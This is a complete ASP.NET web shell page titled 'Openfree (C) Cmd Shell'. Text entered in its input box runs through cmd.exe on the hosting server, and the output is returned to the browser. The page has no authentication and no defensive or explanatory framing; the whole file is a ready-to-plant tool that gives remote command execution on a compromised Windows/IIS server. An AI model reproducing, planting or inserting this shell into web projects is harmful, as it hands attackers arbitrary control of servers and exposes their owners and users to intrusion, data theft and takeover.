<%@ Page Language="C#" AutoEventWireup="true" %>
<%@ Import Namespace="System.Runtime.InteropServices" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.Data" %>
<%@ Import Namespace="System.Reflection" %>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.Web" %>
<%@ Import Namespace="System.Web.UI" %>
<%@ Import Namespace="System.Web.UI.WebControls" %>

<script runat="server">
    protected void execute()
    {
        string item = tbCmd.Text;
        Process p = new Process();
        
        p.StartInfo.FileName = "cmd.exe";
        p.StartInfo.UseShellExecute = false;
        p.StartInfo.RedirectStandardInput = true;
        p.StartInfo.RedirectStandardOutput = true;
        p.StartInfo.RedirectStandardError = true;
        p.StartInfo.CreateNoWindow = true;
        string strOutput = null;

        p.Start();        
        p.StandardInput.WriteLine(item+"\r\n");
        p.StandardInput.WriteLine("exit");
        strOutput = p.StandardOutput.ReadToEnd();
        p.WaitForExit();
        p.Close();

        strOutput = HttpUtility.HtmlEncode(strOutput);
        strOutput = strOutput.Replace(" ", "&nbsp;");
        strOutput = strOutput.Replace("\r\n", "<br />");
        Literal1.Text = strOutput; 
    }

    protected void Page_Load(object sender, EventArgs e)
    {
        if (!Page.IsPostBack)
        {
            tbCmd.Attributes.Add("onkeypress", "EnterSubmit(event);");
            Literal1.Text = "Openfree (C) Cmd Shell. <br />Server Time:" + System.DateTime.Now.ToString() + "<br /><br />";
        }
    }

    protected void LinkButton1_Click(object sender, EventArgs e)
    {
        execute();
    }
</script>

<html>
<head>
    <title>Cmd Shell</title>
    <script type="text/javascript">
    function EnterSubmit (event) 
    {        
	    var keyCode = event.keyCode ? event.keyCode : event.which ? event.which : event.charCode;
	    if (keyCode == 13)
	    {	        
	        __doPostBack('LinkButton1','');	        
	    }
    }
    </script>
</head>
<body>
<form id="form1" runat="server">        
    <div style="font-size:100%; color:Gray; background-color:Black; line-height:110%; padding:10px">
        <asp:Literal ID="Literal1" EnableViewState="false" runat="server"></asp:Literal><br />
        <asp:TextBox id="tbCmd" runat="server" style="color:Gray; background-color:Black; width:100%; border-width:0px;" TabIndex="1" />
        <asp:LinkButton ID="LinkButton1" runat="server" onclick="LinkButton1_Click" style="display:none;">Execute</asp:LinkButton>
    </div>
    <script type="text/javascript">
        var obj = document.getElementById("tbCmd");
        
        if(obj != null) obj.focus();
    </script>
</form>
</body>
</html>